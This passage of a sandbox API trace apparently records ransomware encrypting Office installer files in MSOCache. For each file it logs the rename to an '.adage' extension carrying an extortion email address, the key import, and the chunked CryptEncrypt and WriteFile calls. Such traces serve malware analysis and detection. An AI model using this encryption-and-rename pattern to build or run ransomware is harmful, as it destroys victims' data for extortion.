users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.162] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=4009185) returned 1 [0062.162] CloseHandle (hObject=0x188) returned 1 [0062.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0062.162] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlkLR.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlklr.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0062.163] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlkLR.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlklr.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0062.163] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0062.163] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0062.163] ReadFile (in: hFile=0x188, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0062.174] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x14644b, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0062.174] ReadFile (in: hFile=0x188, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0062.181] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x392ce1, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0062.181] ReadFile (in: hFile=0x188, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0062.197] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d8920) returned 1 [0062.197] CryptSetKeyParam (hKey=0x4d8920, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0062.197] CryptEncrypt (in: hKey=0x4d8920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050) returned 1 [0062.204] CryptDestroyKey (hKey=0x4d8920) returned 1 [0062.204] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0062.204] WriteFile (in: hFile=0x188, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0102, lpOverlapped=0x0) returned 1 [0062.849] SetEndOfFile (hFile=0x188) returned 1 [0062.849] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x392ce1, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0062.849] WriteFile (in: hFile=0x188, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0062.852] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x14644b, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0062.853] WriteFile (in: hFile=0x188, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0062.855] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0062.855] WriteFile (in: hFile=0x188, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0062.856] CloseHandle (hObject=0x188) returned 1 [0063.654] SetEvent (hEvent=0x138) returned 1 [0063.655] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0063.655] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0063.655] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=2830336) returned 1 [0063.655] CloseHandle (hObject=0x188) returned 1 [0063.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0063.655] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0063.656] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0063.656] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0063.656] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0063.656] ReadFile (in: hFile=0x188, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0063.660] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xe6555, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0063.661] ReadFile (in: hFile=0x188, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0063.672] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x273000, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0063.672] ReadFile (in: hFile=0x188, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0063.681] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d8920) returned 1 [0063.681] CryptSetKeyParam (hKey=0x4d8920, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0063.681] CryptEncrypt (in: hKey=0x4d8920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0060) returned 1 [0063.688] CryptDestroyKey (hKey=0x4d8920) returned 1 [0063.688] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0063.688] WriteFile (in: hFile=0x188, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0112, lpOverlapped=0x0) returned 1 [0063.768] SetEndOfFile (hFile=0x188) returned 1 [0063.768] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x273000, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0063.768] WriteFile (in: hFile=0x188, lpBuffer=0x351014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351014a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0063.771] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xe6555, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0063.771] WriteFile (in: hFile=0x188, lpBuffer=0x351014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351014a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0063.774] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0063.774] WriteFile (in: hFile=0x188, lpBuffer=0x351014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351014a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0063.776] CloseHandle (hObject=0x188) returned 1 [0064.115] SetEvent (hEvent=0x138) returned 1 [0064.116] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0064.116] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0064.116] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=2404352) returned 1 [0064.116] CloseHandle (hObject=0x188) returned 1 [0064.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0064.119] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0064.119] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0064.119] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0064.119] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0064.119] ReadFile (in: hFile=0x188, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0064.124] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xc3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0064.124] ReadFile (in: hFile=0x188, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0064.137] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x20b000, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0064.137] ReadFile (in: hFile=0x188, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0064.145] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d8820) returned 1 [0064.145] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0064.146] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050) returned 1 [0064.152] CryptDestroyKey (hKey=0x4d8820) returned 1 [0064.152] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0064.153] WriteFile (in: hFile=0x188, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0102, lpOverlapped=0x0) returned 1 [0064.301] SetEndOfFile (hFile=0x188) returned 1 [0064.301] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x20b000, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0064.301] WriteFile (in: hFile=0x188, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0064.303] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xc3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0064.303] WriteFile (in: hFile=0x188, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0064.308] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0064.308] WriteFile (in: hFile=0x188, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0064.309] CloseHandle (hObject=0x188) returned 1 [0064.723] SetEvent (hEvent=0x138) returned 1 [0064.724] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0064.724] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.836] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=11658047) returned 1 [0064.836] CloseHandle (hObject=0x1a4) returned 1 [0064.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0064.836] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0065.037] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0065.037] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0065.037] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0065.037] ReadFile (in: hFile=0x1a4, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0065.464] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x3b4bbf, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0065.464] ReadFile (in: hFile=0x1a4, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0065.470] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xade33f, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0065.470] ReadFile (in: hFile=0x1a4, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0065.479] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d86a0) returned 1 [0065.479] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0065.480] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0050) returned 1 [0065.487] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0065.487] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0065.487] WriteFile (in: hFile=0x1a4, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0102, lpOverlapped=0x0) returned 1 [0065.500] SetEndOfFile (hFile=0x1a4) returned 1 [0065.500] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xade33f, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0065.500] WriteFile (in: hFile=0x1a4, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0066.802] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x3b4bbf, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0066.802] WriteFile (in: hFile=0x1a4, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0066.804] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0066.804] WriteFile (in: hFile=0x1a4, lpBuffer=0x351013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351013a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0066.805] CloseHandle (hObject=0x1a4) returned 1 [0066.805] SetEvent (hEvent=0x138) returned 1 [0066.806] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0066.806] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0067.159] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=2109440) returned 1 [0067.159] CloseHandle (hObject=0x1a4) returned 1 [0067.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0067.159] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0067.160] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0067.160] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0067.160] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0067.160] ReadFile (in: hFile=0x1a4, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0067.164] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xabaaa, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0067.164] ReadFile (in: hFile=0x1a4, lpBuffer=0x3490058, 